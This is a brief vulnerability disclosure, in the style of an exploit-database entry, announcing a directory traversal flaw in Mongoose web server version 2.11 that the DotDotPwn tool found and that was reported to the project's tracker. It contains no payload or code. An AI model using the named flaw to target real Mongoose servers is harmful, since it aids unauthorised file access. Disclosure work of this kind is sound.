# Exploit Title: Mongoose 2.11 Directory Traversal
# Date: 29 Oct

Previous directory traversal flaws were found in Mongoose. The latest one was 
found by Gera from CORE Security at EKO Party 2009, but, there is still a flaw 
in the latest version (2.11) which was found by DotDotPwn.

I already reported the flaw in the Mongoose's issue tracking system.
